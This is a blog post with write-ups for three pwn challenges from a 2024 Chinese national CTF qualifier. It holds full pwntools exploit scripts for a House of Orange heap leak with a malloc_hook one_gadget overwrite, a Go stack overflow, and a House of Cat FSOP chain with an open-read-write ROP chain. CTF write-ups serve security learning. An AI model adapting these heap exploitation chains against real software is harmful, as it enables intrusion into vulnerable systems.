2024国赛初赛pwn部分题解

Posted by l0tus on 2024-05-20
Estimated Reading Time 10 Minutes
Words 1.9k In Total
Viewed Times

序言

现在是2024年5月20日凌晨3:06
如果你看了我博客前一篇文章就会发现我昨晚也没睡觉。
其实是睡了,只不过是早上六点睡、九点醒。三个小时睡眠。
现在是第二个凌晨,虽然刚复现完题目心情激动又复杂。
但我想我大抵是需要睡觉的。
这篇文章是现在临时写的,等睡醒我一定会把详细的解题过程补充上来。目前只记录了解题的exp和及其简短的思路。

orange_cat_diary

思路是
House of orange -> unsorted bin -> leak libc
Fastbin -> malloc hook -> realloc hook -> ongadget

讲实话一直以来我都不爱去学各种house of系列的堆利用,感觉真的很无聊。

libc版本是2.23-11.3
存在一次UAF的free
pic1

一次输出的机会
pic2

8字节的堆溢出
pic3

这一次溢出刚好能改下一个chunk的size位
house of orange的学习可以直接参考wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

修改top chunk的size,进入unsorted bin。
修改成原有的低位就可以了,这里我把0x20f91直接改成0xf91

然后再将其申请出来,就会带有unsorted bin里面的脏数据,可以泄露libc。

然后就是常规的malloc hook+realloc hook。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context.log_level="debug"

p=process("./orange_cat_diary")
#p=remote()
libc = ELF("./libc-2.23.so")

def add(length,content):
p.sendlineafter("Please input your choice:",b'1')
p.sendlineafter("Please input the length of the diary content:",str(length).encode())
p.sendlineafter("Please enter the diary content:",content)

def show():
p.sendlineafter("Please input your choice:",b'2')

def delete():
p.sendlineafter("Please input your choice:",b'3')

def edit(length,content):
p.sendlineafter("Please input your choice:",b'4')
p.sendlineafter("Please input the length of the diary content:",str(length).encode())
p.sendlineafter("Please enter the diary content:",content)

p.sendlineafter("Please tell me your name.",b'l0tus')

add(0x68,b'aaa')
edit(0x70,b'a'*0x68 +p64(0xf91))
add(0xff0,b'a')# put top chunk to unsorted bin

add(0xf60,b'a'*8)

show()

p.recvuntil("aaaaaaaa")
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b0a

print("libc_base =", hex(libc_base))

add(0x68,b'aaa')
delete()

onegadget=libc_base+0x4527a
realloc=libc_base + libc.sym.__libc_realloc

edit(0x68,p64(libc_base+libc.sym["__malloc_hook"]-0x23))
add(0x68,b'aaa')
add(0x68,b'a'*0xb+p64(onegadget)+p64(realloc+0xb))
#gdb.attach(p)
p.sendlineafter("Please input your choice:",b'1')
p.sendlineafter("Please input the length of the diary content:",str(0x500).encode())

p.interactive()

gostack

队里小登做的,一个栈溢出。
exp:

1
2
3
4
5
from pwn import*
p=process("./gostack")
gdb.attach(p)
p.sendline(b'\xee'*72+b'\x00'*0xb8+p64(0xc0000c0000)+p64(0x48)+p64(0x4aa800)+p64(0xc000012360)+p64(0x4aa800)+p64(0x4df040)+p64(0xc00007bd98)+p64(0x200)+p64(0x200)+p64(0x4df4e8)+p64(0xc000010010)+p64(0x4c5dd0)+p64(0x10000)+p64(0xc0000be000)+p64(0x48)+p64(0x1000)+p64(0xc0000be000)+p64(0x1000)+p64(0x1000)+p64(0x49)+p64(0x49)+p64(0)+p64(0)+p64(0)+p64(1)+p64(0xc00007bf70)+p64(0x4a0af6)+p64(0xc00007bfd0)+p64(0x435a52))
p.interactive()

ezheap(赛后出的)

glibc难学,史难吃。

house of cat

https://bbs.kanxue.com/thread-273895.htm
https://blog.hakuya.moe/post/7

这大概是我第一次正经做完IO_file的一条攻击链的题。

free后有置零
本题的edit存在堆溢出,可以实现差不多的uaf
泄露libc和堆地址的方式都是large bin的脏数据

接着通过tcache posioning篡改_IO_list_all
这一步需要注意safe linking机制

在堆上伪造的fake io file长这个样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_file+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_file+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_file+0x40) # rax2_addr

flag_addr = heap_base+0x4e0

edit(0,0x420,fake_IO_FILE+p64(flag_addr)+p64(0)*5+p64(0x4c40+heap_base)+p64(0x4c40+heap_base)+p64(ret))

这里有几个特殊的地址值得记一下
fake_file+0xb0 -> rdx的存储地址 对应的是我们后面payload后面的->&[0x4c40+heap_base],0x4c40+heap_base是rdx内的值,作用是我们后面调到setcontext+61之后加上偏移控制rcx。

p64(0x4c40+heap_base)是之后布局好的堆,上面放了orw的rop链

_IO_wfile_jumps+0x30 fake vtable的位置,调试而定,这里要通过exit跳到 _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW(这里是我们自己伪造的,也就是setcontext_61)

调用链(trace back)和关键位置(跳转到setcontext+61)如图:

pic4

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import*

context.log_level = 'debug'
p = process('./EzHeap')
elf=ELF('./EzHeap')
libc=ELF('./libc.so.6')

def add(size, content):
p.sendlineafter('choice >> ', b'1')
p.sendlineafter('size:', str(size).encode())
p.sendafter('content:', content)

def delete(idx):
p.sendlineafter('choice >> ', b'2')
p.sendlineafter('idx:', str(idx).encode())

def edit(idx,size, content):
p.sendlineafter('choice >> ', b'3')
p.sendlineafter('idx:', str(idx).encode())
p.sendlineafter('size:', str(size).encode())
p.sendlineafter('content:', content)

def show(idx):
p.sendlineafter('choice >> ', b'4')
p.sendlineafter('idx:', str(idx).encode())

def exit_f():
p.sendlineafter('choice >> ', b'5')

for i in range(0,9):
add(0x400,b'a') #0 ~ 8

for i in range(0,8):
delete(i) #0 ~ 7

for i in range(7):
add(0x400,b'a') #0 ~ 6

add(0x500,b'a') #7

# leak libc_base
edit(0,0x410,b'a'*0x410)
show(0)
p.recvuntil('a'*0x410)
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x21b0d0
print("libc_base = ", hex(libc_base))


# leak heap_base
edit(0,0x421,b'a'*0x421)
show(0)
p.recvuntil('a'*0x421)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) *0x100-0x3f00
print("heap_base = ", hex(heap_base))


#repair the chunk in large bin
edit(0,0x421,b'a'*0x400+p64(0)+p64(0x411)+p64(libc_base+0x21b0d0)*2+b'\x00')

# house of cat
rdi=libc_base+0x000000000002a3e5
rsi=libc_base+0x000000000002be51
rdxr12=libc_base+0x000000000011f2e7
ret=libc_base+0x0000000000029cd6
rax=libc_base+0x0000000000045eb0
syscall = libc_base+0x91316
stderr=libc_base+libc.sym['stderr']
_IO_2_1_stdin_=libc_base+libc.sym['_IO_2_1_stdin_']
_IO_2_1_stdout_=libc_base+libc.sym['_IO_2_1_stdout_']
_IO_2_1_stderr_=libc_base+libc.sym['_IO_2_1_stderr_']
_IO_wfile_jumps = libc_base+0x2170c0
io_list_all = libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
open_f=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
setcontext=libc_base+libc.sym['setcontext']

# *(size_t *)stderr2 = 0x800;
# *(size_t *)(stderr2 + 0xa0) = (size_t)wide_data;
# *(size_t *)(stderr2 + 0xc0) = 1;
# *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps - 0x18;
# *(size_t *)(wide_data + 0x20) = (size_t)1;
# *(size_t *)(wide_data + 0xe0) = (size_t)wide_vtable;
# *(size_t *)(wide_vtable + 0x18) = (size_t)(&backdoor);


key=(heap_base)>>12

add(0x40,b'9') #
add(0x40,b'10') #10
add(0x40,b'11') #11
add(0x40,b'12') #12
add(0x40,b'13') #13
add(0x40,b'14') #14

delete(9)
delete(14)

edit(13,0x60,b'a'*0x40+p64(0)+p64(0x51)+p64((io_list_all)^ key)+p64(0))


fake_file = heap_base+0x3b00
fake_wide_data = fake_file + 0x100
fake_vtable = fake_wide_data+0x100
'''
payload = p64(0x800)
payload = payload.ljust(0xa0,b'\x00')
payload += p64(fake_wide_data)
payload = payload.ljust(0xc0,b'\x00')
payload += p64(1)
payload = payload.ljust(0xd8,b'\x00')
payload += p64(_IO_wfile_jumps-0x18)
payload = payload.ljust(0x120,b'\x00')
payload += p64(1)
payload = payload.ljust(0x1e0,b'\x00')
payload += p64(fake_vtable)
payload = payload.ljust(0x218,b'\x00')
payload += p64(0xdeadbeef)
payload += p64(0)
'''
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_file+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_file+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_file+0x40) # rax2_addr

flag_addr = heap_base+0x4e0

edit(0,0x420,fake_IO_FILE+p64(flag_addr)+p64(0)*5+p64(0x4c40+heap_base)+p64(0x4c40+heap_base)+p64(ret))

#orw_rop
rop = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdxr12)+p64(0)+ p64(0) + p64(rax) + p64(2) + p64(syscall)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x1000)+p64(rdxr12)+p64(0x100)+p64(0)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x1000)+p64(rdxr12)+p64(0x100)+p64(0)+p64(write)
#rop += p64(rdi)+p64(0)+p64(rsi)+p64(heap_base+0x1000)+p64(rdxr12)+p64(0x100)+p64(0)+p64(read)

add(0x4e0,rop)

print("libc_base = ", hex(libc_base))
print("heap_base = ", hex(heap_base))

add(0x40,b'flag') #flag_addr

add(0x40,p64(fake_file)) #

#gdb.attach(p)

exit_f()

p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !